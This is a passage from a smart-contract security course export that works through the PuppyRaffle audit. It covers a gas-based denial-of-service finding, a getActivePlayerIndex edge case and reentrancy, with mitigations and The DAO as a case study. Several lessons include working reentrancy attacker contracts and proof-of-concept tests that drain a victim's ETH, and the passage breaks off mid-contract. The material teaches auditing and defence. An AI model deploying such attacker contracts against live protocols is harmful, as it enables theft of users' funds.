have a uint256 id, and the mapping would be a player address mapped to the raffle Id.\n\n```diff\n+ mapping(address => uint256) public addressToRaffleId;\n+ uint256 public raffleId = 0;\n .\n .\n .\n function enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n+ addressToRaffleId[newPlayers[i]] = raffleId;\n }\n\n- // Check for duplicates\n+ // Check for duplicates only from the new players\n+ for (uint256 i = 0; i < newPlayers.length; i++) {\n+ require(addressToRaffleId[newPlayers[i]] != raffleId, \"PuppyRaffle: Duplicate player\");\n+ }\n- for (uint256 i = 0; i < players.length; i++) {\n- for (uint256 j = i + 1; j < players.length; j++) {\n- require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n- }\n- }\n emit RaffleEnter(newPlayers);\n }\n.\n.\n.\n function selectWinner() external {\n+ raffleId = raffleId + 1;\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n```\n\n3. Alternatively, you could use [**OpenZeppelin's EnumerableSet library**](https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).\n\n### Wrap Up\n\nThat's all there is to it! Let's add this recommendation to our `findings.md` report for this vulnerability and we can move on to the next issue!\n\n
\nDoS Writeup\n\n### [M-#] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants\n\n**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.\n\n```javascript\n// @audit Dos Attack\n@> for(uint256 i = 0; i < players.length -1; i++){\n for(uint256 j = i+1; j< players.length; j++){\n require(players[i] != players[j],\"PuppyRaffle: Duplicate Player\");\n }\n}\n```\n\n**Impact:** The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.\n\nAn attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.\n\n**Proof of Concept:**\n\nIf we have 2 sets of 100 players enter, the gas costs will be as such:\n\n- 1st 100 players: ~6252048 gas\n- 2nd 100 players: ~18068138 gas\n\nThis is more than 3x more expensivee for the second 100 players.\n\n
\nProof of Code\n\n```js\nfunction testDenialOfService() public {\n // Foundry lets us set a gas price\n vm.txGasPrice(1);\n\n // Creates 100 addresses\n uint256 playersNum = 100;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < players.length; i++) {\n players[i] = address(i);\n }\n\n // Gas calculations for first 100 players\n uint256 gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);\n uint256 gasEnd = gasleft();\n uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the first 100 players: \", gasUsedFirst);\n\n // Creats another array of 100 players\n address[] memory playersTwo = new address[](playersNum);\n for (uint256 i = 0; i < playersTwo.length; i++) {\n playersTwo[i] = address(i + playersNum);\n }\n\n // Gas calculations for second 100 players\n uint256 gasStartTwo = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);\n uint256 gasEndTwo = gasleft();\n uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;\n console.log(\"Gas cost of the second 100 players: \", gasUsedSecond);\n\n assert(gasUsedSecond > gasUsedFirst);\n }\n```\n\n
\n
\n\n**Recommended Mitigations:** There are a few recommended mitigations.\n\n1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.\n2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.\n\n```diff\n+ mapping(address => uint256) public addressToRaffleId;\n+ uint256 public raffleId = 0;\n .\n .\n .\n function enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n+ addressToRaffleId[newPlayers[i]] = raffleId;\n }\n\n- // Check for duplicates\n+ // Check for duplicates only from the new players\n+ for (uint256 i = 0; i < newPlayers.length; i++) {\n+ require(addressToRaffleId[newPlayers[i]] != raffleId, \"PuppyRaffle: Duplicate player\");\n+ }\n- for (uint256 i = 0; i < players.length; i++) {\n- for (uint256 j = i + 1; j < players.length; j++) {\n- require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n- }\n- }\n emit RaffleEnter(newPlayers);\n }\n.\n.\n.\n function selectWinner() external {\n+ raffleId = raffleId + 1;\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n```\n\n3. Alternatively, you could use [**OpenZeppelin's EnumerableSet library**](https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).\n\n
\n", + "updates": [] + }, + { + "lessonId": "0733bc61-511d-4f22-8773-3b4239943a85", + "number": 16, + "title": "Exploit: Business logic edge case", + "slug": "exploit-business-logic-edge-case", + "folderName": "16-exploit-business-logic-edge-case", + "description": "", + "duration": 3, + "videoUrl": "gpV00mHPi15v024Efr11vjG53d0200AWOLPrwLkkFU2BEKk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/16-exploit-business-logic-edge-case/+page.md", + "markdownContent": "---\ntitle: Exploit - Business Logic Edge Case\n---\n\n_Follow along with this video:_\n\n---\n\n### Business Logic Edge Case\n\nBy now we've identified fairly clearly how the `enterRaffle` function works. Our finding looks great. Let's next move onto the `refund` function, this one was mentioned explicitly in our documention.\n\n```\nUsers are allowed to get a refund of their ticket & value if they call the refund function\n```\n\nThis is what the function looks like.\n\n```js\n/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`\n/// @dev This function will allow there to be blank spots in the array\nfunction refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n\n payable(msg.sender).sendValue(entranceFee);\n\n players[playerIndex] = address(0);\n emit RaffleRefunded(playerAddress);\n}\n```\n\nRemember to start with the documentation so that we understand what's supposed to happen. In order to call this function a player needs to provide their `playerIndex`, and this is acquired through the `getActivePlayerIndex` function.\n\nLet's jump over there quickly.\n\n```js\n/// @notice a way to get the index in the array\n/// @param player the address of a player in the raffle\n/// @return the index of the player in the array, if they are not active, it returns 0\nfunction getActivePlayerIndex(address player) external view returns (uint256) {\n for (uint256 i = 0; i < players.length; i++) {\n if (players[i] == player) {\n return i;\n }\n }\n return 0;\n}\n```\n\nI think we may have stumbled upon our next bug. The logic here has a problem. Can you spot it?\n\n
\nThe Problem\n
\n\nWhen looking at this function, we have to ask _\"Why is this returning zero?\"_\n\nArrays begin at index 0, were the player at this index to call this function it would be very unclear whether or not they were in the raffle or not!\n\n
\n\n### Wrap Up\n\nWe're not going to go through writing this finding report together, but I absolutely challenge you to write one yourself before moving forward!\n\n**\\*Hint:** It's informational severity\\*\n\nUp next we're going back to the `refund` function!\n", + "updates": [] + }, + { + "lessonId": "a4298f9d-7469-40b4-864d-437f10d6bbf4", + "number": 17, + "title": "Recon: Refund", + "slug": "recon-refund", + "folderName": "17-recon-refund", + "description": "", + "duration": 3, + "videoUrl": "PuTubb3L021vIcpDZ6gYqQJqIH1rvMLxS5cGAwTu2eBM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/17-recon-refund/+page.md", + "markdownContent": "---\ntitle: Recon - Refund\n---\n\n_Follow along with this video:_\n\n---\n\n### Return to Refund\n\nComing back to the refund function, let's have a closer look.\n\n```js\n/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`\n/// @dev This function will allow there to be blank spots in the array\nfunction refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n\n payable(msg.sender).sendValue(entranceFee);\n\n players[playerIndex] = address(0);\n emit RaffleRefunded(playerAddress);\n}\n```\n\nThis function takes a player's index, and checks the `players` array for the appropriate address. Following this we see two require statements.\n\n```js\nrequire(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\nrequire(playerAddress !=\n address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n```\n\nThe first is ensuring that only a player can refund their own ticket/fee.\n\nThe second, while a little less clear, makes more sense if we see how a player is handled after a refund is processed - their `players` index is set to `address(0)`. So the second require is meant to prevent multiple refunds this way.\n\n```js\nplayers[playerIndex] = address(0);\n```\n\nBefore this however, we see the `sendValue` function being called. This is what returns the `entranceFee` back to the player.\n\n---\n\n`sendValue` may look unusual, this is just a simplfied method to transfer funds contained within the [**OpenZeppelin Address.sol library**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol).\n\n> ```js\n> function sendValue(address payable recipient, >uint256 amount) internal {\n> if (address(this).balance < amount) {\n> revert AddressInsufficientBalance(address(this));\n> }\n>\n> (bool success, ) = recipient.call{value: amount}(\"\");\n> if (!success) {\n> revert FailedInnerCall();\n> }\n> }\n> ```\n\n---\n\n### Wrap Up\n\nAlready we can see the order of things is going to cause another potential issue. Do you know what it is? Can you spot it?\n", + "updates": [] + }, + { + "lessonId": "8596fc74-6778-4b65-bc85-56bedf6e1808", + "number": 18, + "title": "Exploit: Reentrancy", + "slug": "exploit-reentrancy", + "folderName": "18-exploit-reentrancy", + "description": "", + "duration": 14, + "videoUrl": "2KjHW8LArPS02RZNZb02FweQUeF69mVeusNbTOxuQit94", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/18-exploit-reentrancy/+page.md", + "markdownContent": "---\ntitle: Exploit - Reentrancy\n---\n\n_Follow along with this video:_\n\n---\n\nLet's see if we can nail down this vulnerability. When we'd run `Slither` earlier, you may recall it had actually found something...\n\nRun it again and we'll have a closer look.\n\n```bash\nslither .\n```\n\nLooking through the output, we can see `Slither` is in fact detecting things in our `refund` function!\n\n\n\n### What is a re-entrancy attack and how does it work?\n\nFor this lesson we'll be heavily leaning on our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo for diagrams and examples to reference. Be sure to clone it so you can see how these vulnerabilities work locally.\n\nHere's our example contract:\n\n```js\ncontract ReentrancyVictim {\n mapping(address => uint256) public userBalance;\n\n function deposit() public payable {\n userBalance[msg.sender] += msg.value;\n }\n\n function withdrawBalance() public {\n uint256 balance = userBalance[msg.sender];\n // An external call and then a state change!\n // External call\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n\n // State change\n userBalance[msg.sender] = 0;\n }\n}\n```\n\nFairly simple. Under normal circumstances\n\nUser A (balance 10 ether) can deposit funds\n\n1. deposit{value: 10 ether}\n\n
userBalance[UserA] = 10 ether\n
contract balance = 10 ether\n
User A balance = 0 ether\n\nAnd then withdraw them\n\n2. withdrawBalance\n\n
userBalance[UserA] = 0 ether\n
contract balance = 0 ether\n
User A balance = 10 ether\n\nThe order of operations is reeally important in these situations. In our `withdrawBalance` function, we see that the function is making an external call _before_ updating the state of the contract.\n\nWhat this means, is that an attacker could have that external call be made in such a way that it triggers a call of the `withdrawBalance` function again (hence - reentrancy).\n\n```js\ncontract ReentrancyAttacker {\n ReentrancyVictim victim;\n\n constructor(ReentrancyVictim _victim) {\n victim = _victim;\n }\n\n function attack() public payable {\n victim.deposit{value: 1 ether}();\n victim.withdrawBalance();\n }\n\n receive() external payable {\n if (address(victim).balance >= 1 ether) {\n victim.withdrawBalance();\n }\n }\n}\n```\n\nConsider the above attack contract. Seems pretty benign, but let's walk through what's actually happening.\n\n1. Attacker calls the attack function which deposits 1 ether, then immediately withdraws it.\n\n```js\nfunction attack() public payable {\n victim.deposit{value: 1 ether}();\n victim.withdrawBalance();\n }\n```\n\n2. The `ReentrancyVictim` contract does what's it's supposed to and received the deposit, then processs the withdrawal. During this process the victim contract makes a call to the attacker's contract.\n\n**NOTE: THIS IS BEFORE OUR BALANCE HAS BEEN UPDATED**\n\n```js\n(bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n```\n\nWhat happens when a contract receives value? It's going have it's receive/fallback functions triggered. And what does our Attacker's receive function look like?\n\n```js\nreceive() external payable {\n if (address(victim).balance >= 1 ether) {\n victim.withdrawBalance();\n }\n }\n```\n\nIt calls the `withdrawBalance` function again! Because our previous `withdrawBalance` hasn't updated our balance yet, the contract will happily let us withdraw again.. and again .. and again until all funds are drained.\n\nLet's look at this all put together.\n\n\n\n### Wrap Up\n\nRe-entrancy is a a big deal and it's very impactful when it happens. We're really going to nail down our understanding of this attack vector before moving on.\n\nAt it's most minimalistic, re-entrancy generates a loop that continually drains funds from a protocol.\n\n\n\nOur next lesson is going to be a hands on example of this vulnerability in Remix. Let's see what this exploit is like in action.\n", + "updates": [] + }, + { + "lessonId": "4e5253aa-7047-431d-8c16-c6b408be05e9", + "number": 19, + "title": "Reentrancy: Remix example", + "slug": "reentrancy-remix-example", + "folderName": "19-reentrancy-remix-example", + "description": "", + "duration": 4, + "videoUrl": "ofbpMEnxat1l00hO021o6i2UfPCttt00jO6SN1Ch52QzA8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/19-reentrancy-remix-example/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Remix Example\n---\n\n_Follow along with this video:_\n\n---\n\n### Re-entrancy Remix Example\n\nThe crux to this vulnerability lies in that we're updating the user's balance _last_.\n\n```js\n function withdrawBalance() public {\n uint256 balance = userBalance[msg.sender];\n // An external call and then a state change!\n // External call\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n\n // State change\n userBalance[msg.sender] = 0;\n }\n```\n\nThe prevention of re-entrancy is actually very simple.\n\n```js\nfunction withdrawBalance() public {\n uint256 balance = userBalance[msg.sender];\n\n // State change\n userBalance[msg.sender] = 0;\n\n // External call\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n }\n```\n\nThat's it!\n\nThe first time this function is called now, the user's balance is updated to zero before making external calls. This means if an enternal call causes this function to be called again - the user's balance will already be updated as zero, so no further funds will be withdrawn.\n\nLet's see this in action, in [**Remix**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/reentrancy/Reentrancy.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js).\n\n### Trying it Out\n\nOnce you're in remix with the re-entrancy examples open, begin by compiling and deploying both contracts.\n\n_Be sure to deploy both contracts, first `ReentrancyVictim` then `ReentrancyAttacker`_\n\n\n\nBoth contracts should have 0 balance. Begin by having a sucker deposit 5 ether into `ReentrancyVictim` contract.\n\n\n\nNow, change the account/wallet you're calling functions from (near the top). Our `ReentrancyAttacker::attack` function requires at least 1 ether. Once that's set and our attack function is called...\n\n\n\nThe attacker has made off with all of the protocol's ETH!\n\n### Wrap Up\n\nWe've seen how impactful overlooked re-entrancy can be and we've seen it in action through remix. Our sc-exploits-minimized repo has some test suites included that will illustrate things locally as well. I encourage you to take a look at those and familiarize yourself with them between lessons if you want to learn more and build on your experience.\n\nIn the next lesson we'll approach how to safeguard ourselves and protocols from re-entrancy.\n", + "updates": [] + }, + { + "lessonId": "b7ebb003-a608-4d31-a69c-46de78f4cb81", + "number": 20, + "title": "Reentrancy: Mitigation", + "slug": "reentrancy-mitigation", + "folderName": "20-reentrancy-mitigation", + "description": "", + "duration": 4, + "videoUrl": "IGzSibsaeUY4WxwVZWazPQi2L9GhXkJooL3WlWpBlJQ", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/20-reentrancy-mitigation/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Mitigation\n---\n\n_Follow along with this video:_\n\n---\n\nRe-entrancy is a big deal! So, how do we fix this?\n\nThere are a few ways, the easiest of which is adhere to the CEI pattern.\n\n### CEI Pattern\n\n_What's a CEI pattern?_\n\nI'm glad you asked!\n\nCEI stands for Checks, Effects and Interactions and is a best practice for orders of operation.\n\n1. Checks - require statements, conditions\n2. Effects - this is where you update the state of the contract\n3. Interactions - any interaction with external contracts/addresses come last\n\nLet's look at this in the context of our `withdrawBalance` example.\n\n```js\nfunction withdrawBalance() public {\n // Checks\n /*None*/\n //Effects\n uint256 balance = userBalance[msg.sender];\n userBalance[msg.sender] = 0;\n //Interactions\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n}\n```\n\nOur function has no checks, but simply by reordering things this way, with our effects before interactions, we're guarded against re-entrancy. We can confirm this in [**Remix**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/reentrancy/Reentrancy.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js).\n\n### Remix Confirmation\n\nFirst, let's make sure we've re-ordered things in our contract.\n\n\n\nNow fund your victim contract and try calling the `attack` function with a second wallet address, as we did before.\n\n\n\nIt reverts! So, what's happening here?\n\n\n\n### Alternative Mitigation\n\nThere is another popular way we can protect from re-entrancy and that's through a locking mechanism we could apply to this function.\n\nThis is also very simple to implement and would look something like this:\n\n```js\nbool locked = false;\nfunction withdrawBalance() public {\n if(locked){\n revert;\n }\n locked = true;\n\n // Checks\n // Effects\n uint256 balance = userBalance[msg.sender];\n userBalance[msg.sender] = 0;\n // Interactions\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n locked = false;\n}\n```\n\nThis is called a `mutex lock` in computing science. By applying the above logic, we lock the function once it's called so that it can't be re-entered while locked!\n\nAlong this line we also have the [**OpenZeppelin ReentrancyGuard**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol) library available to us. This effectively applies locks to our functions under the hood keeping our code clean and professional by leveraging the `nonReentrant` modifier.\n\n### Wrap Up\n\nThat's it! We've learnt 3 simple ways to protect against re-entrancy vulnerabilities in our code.\n\n1. Following CEI - Checks, Effects, Interactions Patterns\n2. Implementing a locking mechanism to our function\n3. Leveraging existing libraries from trust sources like [**OpenZeppelin's ReentrancyGuard**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol)\n\nFor such an easy vulnerability to protect against, re-entrancy continues to significantly impact the Web3 ecosystem. Let's take a specific look at how in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "7c86d2b3-42bb-4b17-800a-fbdc70f5e1ad", + "number": 21, + "title": "Menace To Society", + "slug": "reentrancy-menace-to-society", + "folderName": "21-reentrancy-menace-to-society", + "description": "", + "duration": 5, + "videoUrl": "QuJ6BbhtDyNBqG2Su02Y100IJ4J4fiosyb9TUGFmA00Gxk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/21-reentrancy-menace-to-society/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Menace to Society\n---\n\n_Follow along with this video:_\n\n---\n\n### Re-entrancy a Menace\n\nWhy am I stressing re-entrancy so much you might ask? The answer is simple.\n\n- We've known about it since 2016\n- It's easy enough to detect that static analyzers (like Slither) can identify them\n- Web3 is still hit by millions of dollars in re-entrancy attacks per year.\n\nThis is so frustrating!\n\nThere's a [**GitHub Repo**](https://github.com/pcaversaccio/reentrancy-attacks) maintained by Pascal (legend) that catalogues re-entrancy attacks which have occured. I encourage you to look through these examples and really acquire a sense of the scope of the problem.\n\n### Case Study: The DAO\n\n[**The DAO**](https://en.wikipedia.org/wiki/The_DAO) was one of the most famous (or infamous) protocols in Web3 history. As of May 2016, its total value locked was ~14% of all ETH.\n\nUnfortunately, it suffered from a re-entrancy vulnerability in two of its functions.\n\nThe first problem existed in the `splitDao` function, here's the vulnerable section and the whole contract for reference:\n\n```js\ncontract DAO is DAOInterface, Token, TokenCreation {\n ...\n function splitDAO(\n uint _proposalID,\n address _newCurator\n ) noEther onlyTokenholders returns (bool _success) {\n\n Transfer(msg.sender, 0, balances[msg.sender]);\n withdrawRewardFor(msg.sender); // be nice, and get his rewards\n totalSupply -= balances[msg.sender];\n balances[msg.sender] = 0;\n paidOut[msg.sender] = 0;\n return true;\n }\n}\n```\n\n
\nEntire Contract\n\n```js\ncontract DAO is DAOInterface, Token, TokenCreation {\n function splitDAO(\n uint _proposalID,\n address _newCurator\n ) noEther onlyTokenholders returns (bool _success) { Proposal p = proposals[_proposalID]; // Sanity check if (now < p.votingDeadline // has the voting deadline arrived?\n //The request for a split expires XX days after the voting deadline\n || now > p.votingDeadline + splitExecutionPeriod\n // Does the new Curator address match?\n || p.recipient != _newCurator\n // Is it a new curator proposal?\n || !p.newCurator\n // Have you voted for this split?\n || !p.votedYes[msg.sender]\n // Did you already vote on another proposal?\n || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) {\n throw;\n } // If the new DAO doesn't exist yet, create the new DAO and store the\n // current split data\n if (address(p.splitData[0].newDAO) == 0) {\n p.splitData[0].newDAO = createNewDAO(_newCurator);\n // Call depth limit reached, etc.\n if (address(p.splitData[0].newDAO) == 0)\n throw;\n // should never happen\n if (this.balance < sumOfProposalDeposits)\n throw;\n p.splitData[0].splitBalance = actualBalance();\n p.splitData[0].rewardToken = rewardToken[address(this)];\n p.splitData[0].totalSupply = totalSupply;\n p.proposalPassed = true;\n } // Move ether and assign new Tokens\n uint fundsToBeMoved =\n (balances[msg.sender] * p.splitData[0].splitBalance) /\n p.splitData[0].totalSupply;\n if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)\n throw; // Assign reward rights to new DAO\n uint rewardTokenToBeMoved =\n (balances[msg.sender] * p.splitData[0].rewardToken) / p.splitData[0].totalSupply; uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved /\n rewardToken[address(this)]; rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved;\n if (rewardToken[address(this)] < rewardTokenToBeMoved)\n throw;\n rewardToken[address(this)] -= rewardTokenToBeMoved; DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved;\n if (DAOpaidOut[address(this)] < paidOutToBeMoved)\n throw;\n DAOpaidOut[address(this)] -= paidOutToBeMoved; // Burn DAO Tokens\n Transfer(msg.sender, 0, balances[msg.sender]);\n withdrawRewardFor(msg.sender); // be nice, and get his rewards\n totalSupply -= balances[msg.sender];\n balances[msg.sender] = 0;\n paidOut[msg.sender] = 0;\n return true;\n }\n}\n```\n\n
\n\n---\n\nHopefully we can spot the problem above. The DAO was making external calls before updating its state!\n\nThis is seen again in the `withdrawRewardFor` function:\n\n```js\ncontract DAO is DAOInterface, Token, TokenCreation {\n ...\n function withdrawRewardFor(address _account) noEther internal\n returns (bool _success) {\n if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])\n throw; uint reward =\n (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];\n if (!rewardAccount.payOut(_account, reward))\n throw;\n paidOut[_account] += reward;\n return true;\n }\n}\n```\n\n---\n\nAn attack of this protocol in June 2016 resulted in the transfer of 3.8 Million Eth tokens and ultimately hardforked the Ethereum network in the recovery efforts.\n\nYou should absolutely read more about this attack [**here**](https://medium.com/@zhongqiangc/smart-contract-reentrancy-thedao-f2da1d25180c).\n\n### Wrap Up\n\nClearly re-entrancy plagues us to this day. Millions of dollars are lost every year. There are even new types of re-entrancy, such as `read-only re-entrancy` (which we'll cover more later).\n\nThe bottom line is - this is preventable.\n\nLet's recap everything we've learnt about this vulnerability, in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "79da466e-ddef-4296-8fab-8c80cfcb34bf", + "number": 22, + "title": "Reentrancy: Recap", + "slug": "reentrancy-recap", + "folderName": "22-reentrancy-recap", + "description": "", + "duration": 3, + "videoUrl": "ZQzGSv02kuMLvaN9imml16BaPWb00ZUxyB2ULSncc7t00I", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/22-reentrancy-recap/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Recap\n---\n\n_Follow along with this video:_\n\n---\n\n### Recap\n\nAt it's most minimalistic, a re-entrancy attack looks like this:\n\n\n\nA reentrancy attack occurs when an attacker takes advantage of the recursive calling capability of a contract. By repeatedly calling a function within a contract, the attacker can withdraw funds or manipulate contract state before the initial function call is resolved, often leading to the theft of funds or other unintended consequences.\n\nAs a more indepth reference:\n\n\n\nWe learnt that re-entrancy is a _very_ common attack vector and walked through how to indentify and reproduce the vulnerability both in [**Remix**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/reentrancy/Reentrancy.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) and locally as well as how to test for them.\n\n
\nRe-entrancy Test Example\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\nimport {ReentrancyVictim, ReentrancyAttacker} from \"../../src/reentrancy/Reentrancy.sol\";\n\ncontract ReentrancyTest is Test {\n ReentrancyVictim public victimContract;\n ReentrancyAttacker public attackerContract;\n\n address victimUser = makeAddr(\"victimUser\");\n address attackerUser = makeAddr(\"attackerUser\");\n\n uint256 amountToDeposited = 5 ether;\n uint256 attackerCapital = 1 ether;\n\n function setUp() public {\n victimContract = new ReentrancyVictim();\n attackerContract = new ReentrancyAttacker(victimContract);\n\n vm.deal(victimUser, amountToDeposited);\n vm.deal(attackerUser, attackerCapital);\n }\n\n function test_reenter() public {\n // User deposits 5 ETH\n vm.prank(victimUser);\n victimContract.deposit{value: amountToDeposited}();\n\n // We assert the user has their balance\n assertEq(victimContract.userBalance(victimUser), amountToDeposited);\n\n // // Normally, the user could now withdraw their money if they like\n // vm.prank(victimUser);\n // victimContract.withdrawBalance();\n\n // But... we get attacked!\n vm.prank(attackerUser);\n attackerContract.attack{value: 1 ether}();\n\n assertEq(victimContract.userBalance(victimUser), amountToDeposited);\n assertEq(address(victimContract).balance, 0);\n\n vm.prank(victimUser);\n vm.expectRevert();\n victimContract.withdrawBalance();\n }\n}\n```\n\n
\n
\n\nAdditionally, we learnt that `static analysis` tools like `Slither` can even catch this vulnerability (though not always)!\n\nWe also covered how to safeguard against this attack in at least two ways.\n\n- Adhering to the CEI (Checks, Effects, Interactions) pattern, assuring we perform state changes _before_ making external calls.\n- Implenting a nonReentrant modifier like one offered by [**OpenZeppellin's ReentrancyGuard**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol).\n- Applying a mutex lock to our function ourselves.\n
\nMutex Lock Example\n\n```js\nbool locked = false;\nfunction withdrawBalance() public {\n if(locked){\n revert;\n }\n locked = true;\n\n // Checks\n // Effects\n uint256 balance = userBalance[msg.sender];\n userBalance[msg.sender] = 0;\n // Interactions\n (bool success,) = msg.sender.call{value: balance}(\"\");\n if (!success) {\n revert();\n }\n locked = false;\n}\n```\n\n
\n
\n\nLastly, we learnt how this problem still plagues us today. Through this [**repo**](https://github.com/pcaversaccio/reentrancy-attacks) managed by Pascal et al, we can see a horrifying list, 7 years long, of just this single attack vector. We also uncovered a case study in [**The DAO hack**](https://medium.com/@zhongqiangc/smart-contract-reentrancy-thedao-f2da1d25180c) and saw just how severe this issue can be.\n\nArmed with all of this knowledge, surely you will _never_ miss a re-entrancy attack again. Let's move onto the PoC.\n", + "updates": [] + }, + { + "lessonId": "f8a232ac-d0a5-4f2e-b2f8-ec7dd5790aa4", + "number": 23, + "title": "Reentrancy: PoC", + "slug": "reentrancy-poc", + "folderName": "23-reentrancy-poc", + "description": "", + "duration": 8, + "videoUrl": "AyeF5xrkAiYrAm4uH1id2JlumwL67Re1GpzerPTrTYQ", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/23-reentrancy-poc/+page.md", + "markdownContent": "---\ntitle: Reentrancy - PoC\n---\n\n_Follow along with this video:_\n\n---\n\n### Reentrancy in PuppyRaffle\n\nReturning to PuppyRaffle, let's look at how all we've learnt affects this protocol.\n\nA look again at this `refund` function and we see a classic case of reentrancy with an external call being made before updating state.\n\n```js\nfunction refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n\n // @Audit: Reentrancy\n payable(msg.sender).sendValue(entranceFee);\n\n players[playerIndex] = address(0);\n emit RaffleRefunded(playerAddress);\n}\n```\n\n### The PoC\n\nWe can start by writing a new test in the protocol's `PuppyRaffle.t.sol` file. We'll have a bunch of players enter the raffle.\n\n```js\nfunction test_reentrancyRefund() public {\n address[] memory players = new address[](4);\n players[0] = playerOne;\n players[1] = playerTwo;\n players[2] = playerThree;\n players[3] = playerFour;\n puppyRaffle.enterRaffle{value: entranceFee * 4}(players);\n\n}\n```\n\n> **Note:** There _is_ a `playersEntered` modifier we could use, included in this test suite, but we'll choose to be explicit here.\n\nNext we'll create our `ReentrancyAttacker` Contract.\n\n```js\ncontract ReentrancyAttacker {\n PuppyRaffle puppyRaffle;\n uint256 entranceFee;\n uint256 attackerIndex;\n\n constructor(PuppyRaffle _puppyRaffle) {\n puppyRaffle = _puppyRaffle;\n entranceFee = puppyRaffle.entranceFee();\n }\n\n function attack() public payable {\n address[] memory players = new address[](1);\n players[0] = address(this);\n 